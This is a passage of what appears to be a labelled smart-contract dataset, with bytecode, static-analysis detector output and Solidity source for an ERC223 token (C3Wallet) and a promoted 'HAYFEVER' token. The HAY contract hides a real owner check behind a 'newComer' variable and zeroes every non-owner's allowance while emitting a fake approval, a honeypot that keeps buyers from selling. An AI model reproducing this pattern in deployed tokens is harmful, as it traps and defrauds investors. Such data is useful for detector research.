60246000fdfea2646970667358221220a216d70e3684dfdadf0ff6914218f1c6d9fb2e034df44c9fd98dec8c515ee3ac64736f6c63430008020033a2646970667358221220c89654058ace6c6461d678442cdba762bb36fa6f1073aa48a6575ee729ccf65664736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,687
0x19055b944806fba2717dc694cf0173a1eb2d1604
pragma solidity ^0.4.24; /** * @title ERC223 * @dev New Interface for ERC223 */ contract ERC223 { // functions function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool success); function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); // Getters function name() external constant returns (string _name); function symbol() external constant returns (string _symbol); function decimals() external constant returns (uint8 _decimals); function totalSupply() external constant returns (uint256 _totalSupply); // Events event Transfer(address indexed _from, address indexed _to, uint256 _value); event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed burner, uint256 value); event FrozenAccount(address indexed targets); event UnfrozenAccount(address indexed target); event LockedAccount(address indexed target, uint256 locked); event UnlockedAccount(address indexed target); } /** * @notice The contract will throw tokens if it does not inherit this * @title ERC223ReceivingContract * @dev Contract for ERC223 token fallback */ contract ERC223ReceivingContract { TKN internal fallback; struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title C3Wallet * @dev C3Wallet is a ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract C3Wallet is ERC223, Ownable { using SafeMath for uint; string public name = "C3Wallet"; string public symbol = "C3W"; uint8 public decimals = 8; uint256 public totalSupply = 5e10 * 1e8; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; constructor() public { balances[msg.sender] = totalSupply; } mapping (address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowance; /** * @dev Getters */ // Function to access name of token . function name() external constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() external constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() external constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() external constant returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Get balance of a token owner * @param _owner The address which one owns tokens */ function balanceOf(address _owner) external view returns (uint256 balance) { return balances[_owner]; } /** * @notice This function is modified for erc223 standard * @dev ERC20 transfer function added for backward compatibility. * @param _to Address of token receiver * @param _value Number of tokens to send */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to] && _to != address(this)); bytes memory empty = hex"00000000"; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev ERC223 transfer function * @param _to Address of token receiver * @param _value Number of tokens to send * @param _data data equivalent to tx.data from ethereum transaction */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to] && _to != address(this)); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } /** * @dev Prevent targets from sending or receiving tokens * @param _targets Addresses to be frozen */ function freezeAccounts(address[] _targets) onlyOwner public { require(_targets.length > 0); for (uint j = 0; j < _targets.length; j++) { require(_targets[j] != 0x0 && _targets[j] != Ownable.owner); frozenAccount[_targets[j]] = true; emit FrozenAccount(_targets[j]); } } /** * @dev Enable frozen targets to send or receive tokens * @param _targets Addresses to be unfrozen */ function unfreezeAccounts(address[] _targets) onlyOwner public { require(_targets.length > 0); for (uint j = 0; j < _targets.length; j++) { require(_targets[j] != 0x0 && _targets[j] != Ownable.owner); frozenAccount[_targets[j]] = false; emit UnfrozenAccount(_targets[j]); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times. * @param _targets Addresses to be locked funds * @param _unixTimes Unix times when locking up will be finished */ function lockAccounts(address[] _targets, uint[] _unixTimes) onlyOwner public { require(_targets.length > 0 && _targets.length == _unixTimes.length); for(uint j = 0; j < _targets.length; j++){ require(_targets[j] != Ownable.owner); require(unlockUnixTime[_targets[j]] < _unixTimes[j]); unlockUnixTime[_targets[j]] = _unixTimes[j]; emit LockedAccount(_targets[j], _unixTimes[j]); } } /** * @dev Enable locked targets to send or receive tokens. * @param _targets Addresses to be locked funds */ function unlockAccounts(address[] _targets) onlyOwner public { require(_targets.length > 0); for(uint j = 0; j < _targets.length; j++){ unlockUnixTime[_targets[j]] = 0; emit UnlockedAccount(_targets[j]); } } // function which is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function which is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) external returns (bool success) { allowance[msg.sender][_spender] = 0; // mitigate the race condition allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner Address The address which owns the funds. * @param _spender Address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) external constant returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Function to distribute tokens to the list of addresses by the provided uniform amount * @param _addresses List of addresses * @param _amount Uniform amount of tokens * @return A bool specifying the result of transfer */ function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) { require(_amount > 0 && _addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { require(_addresses[j] != 0x0 && frozenAccount[_addresses[j]] == false && now > unlockUnixTime[_addresses[j]]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); emit Transfer(msg.sender, _addresses[j], _amount); } return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided various amount * @param _addresses list of addresses * @param _amounts list of token amounts */ function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) { require(_addresses.length > 0 && _addresses.length == _amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ require(_amounts[j] > 0 && _addresses[j] != 0x0 && frozenAccount[_addresses[j]] == false && now > unlockUnixTime[_addresses[j]]); totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amounts[j]); balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); emit Transfer(msg.sender, _addresses[j], _amounts[j]); } return true; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _tokenAmount The amount of token to be burned */ function burn(address _from, uint256 _tokenAmount) onlyOwner public { require(_tokenAmount > 0 && balances[_from] >= _tokenAmount); balances[_from] = balances[_from].sub(_tokenAmount); totalSupply = totalSupply.sub(_tokenAmount); emit Burn(_from, _tokenAmount); } /** * @dev default payable function executed after receiving ether */ function () public payable { // does not accept ether } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610134578063095ea7b3146101be578063170e2070146101f657806318160ddd1461024b5780631e89d5451461027257806323b872dd1461030057806327e235e31461032a578063313ce5671461034b57806370a0823114610376578063715018a6146103975780638da5cb5b146103ac5780638f78b34a146103dd57806395d89b411461046b5780639dc29fac14610480578063a16a3179146104a4578063a9059cbb146104fb578063aad120291461051f578063b414d4b614610574578063be45fd6214610595578063cbbe974b146105fe578063dd62ed3e1461061f578063ebaddea714610646578063f2fde38b1461069b575b005b34801561014057600080fd5b506101496106bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b506101e2600160a060020a0360043516602435610751565b604080519115158252519081900360200190f35b34801561020257600080fd5b5060408051602060048035808201358381028086018501909652808552610132953695939460249493850192918291850190849080828437509497506107b79650505050505050565b34801561025757600080fd5b506102606108f3565b60408051918252519081900360200190f35b34801561027e57600080fd5b50604080516020600480358082013583810280860185019096528085526101e295369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506108f99650505050505050565b34801561030c57600080fd5b506101e2600160a060020a0360043581169060243516604435610beb565b34801561033657600080fd5b50610260600160a060020a0360043516610def565b34801561035757600080fd5b50610360610e01565b6040805160ff9092168252519081900360200190f35b34801561038257600080fd5b50610260600160a060020a0360043516610e0a565b3480156103a357600080fd5b50610132610e25565b3480156103b857600080fd5b506103c1610e91565b60408051600160a060020a039092168252519081900360200190f35b3480156103e957600080fd5b506040805160206004803580820135838102808601850190965280855261013295369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610ea09650505050505050565b34801561047757600080fd5b5061014961103d565b34801561048c57600080fd5b50610132600160a060020a036004351660243561109b565b3480156104b057600080fd5b50604080516020600480358082013583810280860185019096528085526101e29536959394602494938501929182918501908490808284375094975050933594506111809350505050565b34801561050757600080fd5b506101e2600160a060020a03600435166024356113a5565b34801561052b57600080fd5b5060408051602060048035808201358381028086018501909652808552610132953695939460249493850192918291850190849080828437509497506114939650505050505050565b34801561058057600080fd5b506101e2600160a060020a03600435166115cb565b3480156105a157600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101e2948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506115e09650505050505050565b34801561060a57600080fd5b50610260600160a060020a03600435166116ae565b34801561062b57600080fd5b50610260600160a060020a03600435811690602435166116c0565b34801561065257600080fd5b5060408051602060048035808201358381028086018501909652808552610132953695939460249493850192918291850190849080828437509497506116eb9650505050505050565b3480156106a757600080fd5b50610132600160a060020a03600435166117aa565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a031633146107cf57600080fd5b81516000106107dd57600080fd5b5060005b81518110156108ef5781818151811015156107f857fe5b90602001906020020151600160a060020a031660001415801561084957506000548251600160a060020a039091169083908390811061083357fe5b90602001906020020151600160a060020a031614155b151561085457600080fd5b600060056000848481518110151561086857fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905581518290829081106108a857fe5b90602001906020020151600160a060020a03167fad8c5167ea40034252f025cc63e5389848cdfec155aee766d091d7a57517c3ab60405160405180910390a26001016107e1565b5050565b60045490565b600080600080855111801561090f575083518551145b801561092b57503360009081526005602052604090205460ff16155b801561094557503360009081526006602052604090205442115b151561095057600080fd5b5060009050805b8451811015610a6d576000848281518110151561097057fe5b906020019060200201511180156109a85750848181518110151561099057fe5b90602001906020020151600160a060020a0316600014155b80156109e957506005600086838151811015156109c157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015610a305750600660008683815181101515610a0257fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610a3b57600080fd5b610a638482815181101515610a4c57fe5b60209081029091010151839063ffffffff6117cd16565b9150600101610957565b33600090815260076020526040902054821115610a8957600080fd5b5060005b8451811015610be057610acf8482815181101515610aa757fe5b602090810290910181015133600090815260079092526040909120549063ffffffff6117dc16565b336000908152600760205260409020558351610b3c90859083908110610af157fe5b90602001906020020151600760008885815181101515610b0d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6117cd16565b600760008784815181101515610b4e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610b7f57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611c858339815191528684815181101515610bb957fe5b906020019060200201516040518082815260200191505060405180910390a3600101610a8d565b506001949350505050565b6000600160a060020a03831615801590610c055750600082115b8015610c295750600160a060020a0384166000908152600760205260409020548211155b8015610c585750600160a060020a03841660009081526008602090815260408083203384529091529020548211155b8015610c7d5750600160a060020a03841660009081526005602052604090205460ff16155b8015610ca25750600160a060020a03831660009081526005602052604090205460ff16155b8015610cc55750600160a060020a03841660009081526006602052604090205442115b8015610ce85750600160a060020a03831660009081526006602052604090205442115b1515610cf357600080fd5b600160a060020a038416600090815260076020526040902054610d1c908363ffffffff6117dc16565b600160a060020a038086166000908152600760205260408082209390935590851681522054610d51908363ffffffff6117cd16565b600160a060020a038085166000908152600760209081526040808320949094559187168152600882528281203382529091522054610d95908363ffffffff6117dc16565b600160a060020a0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020611c85833981519152929181900390910190a35060015b9392505050565b60076020526000908152604090205481565b60035460ff1690565b600160a060020a031660009081526007602052604090205490565b600054600160a060020a03163314610e3c57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b60008054600160a060020a03163314610eb857600080fd5b60008351118015610eca575081518351145b1515610ed557600080fd5b5060005b8251811015611038576000548351600160a060020a0390911690849083908110610eff57fe5b60209081029091010151600160a060020a03161415610f1d57600080fd5b8181815181101515610f2b57fe5b90602001906020020151600660008584815181101515610f4757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610f7457600080fd5b8181815181101515610f8257fe5b90602001906020020151600660008584815181101515610f9e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610fcf57fe5b90602001906020020151600160a060020a03167f4d510e87e8b4a8ac8074d3ae995f797c869bc49b49c2cba7ecd752a5d1e6b043838381518110151561101157fe5b906020019060200201516040518082815260200191505060405180910390a2600101610ed9565b505050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156107475780601f1061071c57610100808354040283529160200191610747565b600054600160a060020a031633146110b257600080fd5b6000811180156110da5750600160a060020a0382166000908152600760205260409020548111155b15156110e557600080fd5b600160a060020a03821660009081526007602052604090205461110e908263ffffffff6117dc16565b600160a060020a03831660009081526007602052604090205560045461113a908263ffffffff6117dc16565b600455604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60008060008084118015611195575060008551115b80156111b157503360009081526005602052604090205460ff16155b80156111cb57503360009081526006602052604090205442115b15156111d657600080fd5b84516111e990859063ffffffff6117ee16565b3360009081526007602052604090205490925082111561120857600080fd5b5060005b8451811015610be057848181518110151561122357fe5b90602001906020020151600160a060020a031660001415801561127b575060056000868381518110151561125357fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156112c2575060066000868381518110151561129457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156112cd57600080fd5b336000908152600760205260409020546112ed908563ffffffff6117dc16565b33600090815260076020819052604082209290925586516113189287929091899086908110610b0d57fe5b60076000878481518110151561132a57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061135b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611c85833981519152866040518082815260200191505060405180910390a360010161120c565b600060606000831180156113c957503360009081526005602052604090205460ff16155b80156113ee5750600160a060020a03841660009081526005602052604090205460ff16155b801561140857503360009081526006602052604090205442115b801561142b5750600160a060020a03841660009081526006602052604090205442115b80156114405750600160a060020a0384163014155b151561144b57600080fd5b5060408051808201909152600481526000602082015261146a84611819565b156114815761147a848483611821565b915061148c565b61147a848483611a83565b5092915050565b60008054600160a060020a031633146114ab57600080fd5b81516000106114b957600080fd5b5060005b81518110156108ef5781818151811015156114d457fe5b90602001906020020151600160a060020a031660001415801561152557506000548251600160a060020a039091169083908390811061150f57fe5b90602001906020020151600160a060020a031614155b151561153057600080fd5b600160056000848481518110151561154457fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055815182908290811061158457fe5b90602001906020020151600160a060020a03167fab31471e2733e9405c1ac9092ad88ff15b9d83479c0db9acf8c3c688e7a8b4f760405160405180910390a26001016114bd565b60056020526000908152604090205460ff1681565b6000808311801561160157503360009081526005602052604090205460ff16155b80156116265750600160a060020a03841660009081526005602052604090205460ff16155b801561164057503360009081526006602052604090205442115b80156116635750600160a060020a03841660009081526006602052604090205442115b80156116785750600160a060020a0384163014155b151561168357600080fd5b61168c84611819565b156116a35761169c848484611821565b9050610de8565b61169c848484611a83565b60066020526000908152604090205481565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60008054600160a060020a0316331461170357600080fd5b815160001061171157600080fd5b5060005b81518110156108ef57600060066000848481518110151561173257fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055815182908290811061176357fe5b90602001906020020151600160a060020a03167f1284822c57612314b7d3043c01709311fd920cc6839d72dea5f90ffb504a268660405160405180910390a2600101611715565b600054600160a060020a031633146117c157600080fd5b6117ca81611c07565b50565b600082820183811015610de857fe5b6000828211156117e857fe5b50900390565b600080831515611801576000915061148c565b5082820282848281151561181157fe5b0414610de857fe5b6000903b1190565b33600090815260076020526040812054819084111561183f57600080fd5b3360009081526007602052604090205461185f908563ffffffff6117dc16565b3360009081526007602052604080822092909255600160a060020a03871681522054611891908563ffffffff6117cd16565b600160a060020a03861660008181526007602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b8381101561192f578181015183820152602001611917565b50505050905090810190601f16801561195c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561197d57600080fd5b505af1158015611991573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd186866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5781810151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518581529051600160a060020a038716913391600080516020611c858339815191529181900360200190a3506001949350505050565b33600090815260076020526040812054831115611a9f57600080fd5b33600090815260076020526040902054611abf908463ffffffff6117dc16565b3360009081526007602052604080822092909255600160a060020a03861681522054611af1908463ffffffff6117cd16565b6007600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd185856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b94578181015183820152602001611b7c565b50505050905090810190601f168015611bc15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518481529051600160a060020a038616913391600080516020611c858339815191529181900360200190a35060019392505050565b600160a060020a0381161515611c1c57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582096aa17a1e6a17aecaa9ede53659dbb281dce5e5e40c770aa06f126ca52e8bfda0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,688
0x8c78e69e79adf9d18e6362edfbdab243e86c30a8
/* ✅ 100% FAIR, STEALTH LAUNCH COMING SOON. ✅ It seems like every token has a new game. It’s time for a platform to bring all the games together. HAYFEVER aims to be a one-stop shop for all P2E Erc-20 Token gaming information. 🙏🏼🙏🏼🙏🏼 Tokens will be able to list their games, advertise, & promote. Including leaderboard rankings, trending games, earn ratio & more. Tokenomics: 5% Developing Tax 🧩 3% Reflections 🧩 1% Liquidity 🧩 NO DEV TOKENS ✅ NO MARKETING TOKENS ✅ 1 Trillion Total Supply “Think Dextools for P2E crypto gaming…” Website: (current placeholder while platform is constructed) HelloHay.io Twitter: https://twitter.com/HAYFEVERTOKEN Whitepaper v1: https://medium.com/@HAYFEVERTOKEN/hayfever-whitepaper-v1-84f0dba4ecac TELEGRAM: https://t.me/HayFeverOfficial */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HAY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**9* 10**18; string private _name = ' HAYFEVER '; string private _symbol = 'HAY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public 